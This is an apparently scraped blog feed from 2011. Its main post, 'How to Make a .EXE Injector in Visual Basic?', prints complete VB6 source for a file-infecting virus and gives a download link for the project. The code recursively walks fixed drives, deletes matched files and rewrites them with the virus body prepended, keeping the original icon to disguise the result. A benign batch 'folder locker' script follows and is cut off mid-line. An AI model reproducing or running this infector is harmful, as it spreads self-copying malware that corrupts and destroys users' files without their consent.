<a href="http://www.mediafire.com/?fbim2vlo9rbpf1p" target="_blank">DOWNLOAD THE PROJECT (.zip)</a>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com13tag:blogger.com,1999:blog-5921365435249055889.post-672383516129846362011-12-21T00:22:00.001+07:002011-12-27T22:39:57.077+07:00How to Make a .EXE Injector in Visual Basic?<span style="background-color: white; font-family: 'Courier New', Courier, monospace; font-size: 13px; line-height: 20px; text-align: left;">Sub GetDrives()</span><br />
<span style="background-color: white;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim ObjFSO As Object</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim Drives As Object</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sDrive As Object</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Set ObjFSO = CreateObject("Scripting.FileSystemObject")</span></span></span><br />
<a name='more'></a><span style="font-family: 'Courier New', Courier, monospace;"><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Set Drives = ObjFSO.Drives</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">For Each sDrive In Drives</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If sDrive.DriveType = 2 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">GetEXEs (sDrive & "\")</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">GetFolders (sDrive & "\")</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Next</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End Sub</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Function GetFolders(Folder As String)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim ObjFSO As Object</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sFolder As Object</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Set ObjFSO = CreateObject("Scripting.FileSystemObject")</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">DoEvents</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Call GetEXEs(sFolder.Path)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Call GetFolders(sFolder.Path)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Next</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Function GetEXEs(Path As String)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim exes As String, EXEPath As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If Right(Path, 1) <> "\" Then Path = Path & "\"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">EXEPath = Dir$(Path & "*.adi")</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">While EXEPath <> ""</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">List1.AddItem Path & EXEPath</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'MsgBox Path & EXEPath</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Call InfectEXE(Path & EXEPath)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">EXEPath = Dir$</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Wend</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Function InfectEXE(EXEPath As String)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Me.Visible = True</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">On Error Resume Next</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim Check As Boolean</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Check = False</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim s As String, ss As String, sss As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sNulls As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sLenICOINEXE As Long</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sLenDif As Long</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sLenTemp As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sTemp As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">For I = 1 To 296 ' Generate 296 Nulls to change 16*16 icon</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sNulls = sNulls & Chr$(0)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Next</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'First we will check if it is already infected</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open EXEPath For Binary As #1</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sData = Space(LOF(1))</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Get 1, , sData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close 1</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If InStr(25000, sData, "|||||") Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'it is infected then do nothing</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Else</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'it is clean so try to infect it</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Kill EXEPath</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sIcon = GetIconFromEXE(sData, Check)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If Check = True Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'MsgBox "Icon Found"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open sPath For Binary As #2</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">VirusData = Space(LOF(2))</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Get 2, , VirusData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close #2</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStr(1, VirusData, s)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I <> 0 Then '(1u found)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">VirusData = Left(VirusData, I + 1) ' get to u in (1u)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">VirusData = VirusData & sIcon</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">FinalEXE = VirusData & "|||||" & sData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open EXEPath For Binary As #3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Put 3, , FinalEXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close 3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Exit Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Else 'If (1u) not found .. try to find (3u)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStr(1, sData, sss)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I > 0 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'Debug.Print "Second Method Method... (3u found)"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sTemp = Left(VirusData, I + 1) 'Get to (3u)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sLenICOINEXE = Len(VirusData) - (I + 297) ' add one byte to 296 coz of (u) in (1u)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sLenICOINICO = Len(sIcon)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If sLenICOINEXE > sLenICOINICO Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sLenDif = sLenICOINEXE - sLenICOINICO</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">For I = 1 To sLenDif</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sLenTemp = sLenTemp & Chr$(0)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Next</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">VirusData = sTemp & sNulls & sIcon & sLenTemp</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">FinalEXE = VirusData & "|||||" & sData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open EXEPath For Binary As #3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Put 3, , FinalEXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close 3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Exit Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If 'for if i <> 0</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">FinalEXE = VirusData & "|||||" & sData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open EXEPath For Binary As #3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Put 3, , FinalEXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close 3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Else ' Means Check = False</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'virus icon is default for the final EXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open sPath For Binary As #2</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">VirusData = Space(LOF(2))</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Get 2, , VirusData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close #2</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">FinalEXE = VirusData & "|||||" & sData</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Open EXEPath For Binary As #3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Put 3, , FinalEXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Close 3</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If ' for check</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If ' for |||||</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim c As String, sNull As String, ss As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim sPath As String, sIcon As String</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Dim l As Long</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStr(1, eData, "MSVBVM")</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I > 0 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'VB EXE</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStr(1, eData, ss)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I > 0 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sIcon = Mid(eData, I)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">'sIcon = c & sIcon & sNull & Chr(255)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">sIcon = sIcon & sNull & Chr(255)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">GetIconFromEXE = sIcon</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">state = True</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Exit Function</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">End If</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">Else ' Not Vb EXE so first search for last (... ...@ and compare the size</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStr(1, eData, ss)</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I > 0 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If Len(eData) - I > 10000 Then</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">I = InStrRev(eData, ss, Len(eData))</span><br style="font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-size: 13px; line-height: 20px; text-align: left;">If I > 0 And Len(eData) - I <><br />sIcon = Mid(eData, I, Len(eData) - I)<br />'sIcon = c & sIcon & sNull & Chr(255)<br />sIcon = sIcon & sNull & Chr(255)<br />GetIconFromEXE = sIcon<br />state = True<br /><br />Exit Function<br /><br /><br />Else<br />sIcon = Mid(eData, I, 2238)<br />' sIcon = c & sIcon & sNull & Chr(255)<br />sIcon = sIcon & sNull & Chr(255)<br />GetIconFromEXE = sIcon<br />state = True<br /><br />Exit Function<br /><br /><br />End If<br />Else 'means If Len(eData) - i <><br /><br />sIcon = Mid(eData, I, 2238)<br />' If 2330 - Len(sIcon) > 0 Then<br />' l = 2350 - Len(sIcon)<br />' For i = 1 To l<br />' sNull = sNull & Chr(0)<br />' Next<br />' End If<br /><br />' sIcon = c & sIcon & sNull & Chr(255)<br />sIcon = sIcon & sNull & Chr(255)<br />GetIconFromEXE = sIcon<br />state = True<br /><br /><br />Exit Function<br /><br />End If<br />End If<br />End If<br /><br />state = False<br /><br />End Function<br />Function AddBackSlash(strPath As String) As String<br />If Right(strPath, 1) <> "\" Then<br />AddBackSlash = strPath & "\"<br />Else<br />AddBackSlash = strPath<br />End If<br />End Function</span></span>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-48192798818127725862011-12-21T00:19:00.000+07:002011-12-27T22:40:17.837+07:00How to Make a Simple Folderlocker in Windows?1. Open Notepad.exe<br />
<div>
2. Type this in your notepad and save it with .bat extension:</div>
<div>
<span style="background-color: white;"><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">@ECHO OFF</span><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;"> </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if NOT EXIST Locker goto MDLOCKER </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:CONFIRM </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Are you serious to lock this folder??(Y/N) </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">set/p "cho=>" </span></span><br />
<a name='more'></a><span style="background-color: white;"><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if %cho%==Y goto LOCK </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if %cho%==y goto LOCK </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if %cho%==n goto END </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if %cho%==N goto END </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Invalid choice. </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">goto CONFIRM </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:LOCK </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">attrib +h +r .\locker\*.* /s /d</span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">attrib +r "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Folder Locked </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">goto End </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:UNLOCK </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo CONFIRM PASSWORD</span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">set/p "pass=>" </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">if NOT %pass%== "Your Password" goto FAIL </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 